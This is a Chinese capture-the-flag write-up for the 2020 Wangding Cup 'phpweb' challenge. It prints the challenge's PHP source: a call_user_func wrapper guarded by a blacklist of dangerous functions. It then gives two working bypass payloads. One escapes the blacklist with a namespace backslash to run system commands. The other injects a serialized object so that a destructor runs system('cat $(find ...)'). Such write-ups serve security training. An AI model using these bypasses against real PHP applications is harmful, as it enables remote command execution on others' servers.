[网鼎杯 2020 朱雀组]phpweb 1
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);// 第一个参数是传入的字符串被当做被调函数执行,即第二个参数传入的值会被当做第一个传入的函数的参数
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);//
}
}
}
$func = $_REQUEST["func"]; //$_REQUES是_$POST和$_GET和$_COOKIE的合集,但5.3版本以上不包含COOKIE了
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);//将函数全部转化为小写
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
这里看到过滤的很完整了,基本把危险的,可以利用的函数全部过滤了
call_user_func(函数, 参数),返回值为函数执行参数后的结果
法一:
可以利用错误命名空间进行绕过
?func=\system&p=cat /tmp/flagoefiu4r93
法二:
可以利用unserialize反序列化进行绕过
func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:25:“cat $(find / -name flag*)”;s:4:“func”;s:6:“system”;}
eval()
eval() 是一个语句,将字符串当做PHP 代码来执行。
assert()
assert 是一个函数,将字符串当做PHP 代码来执行。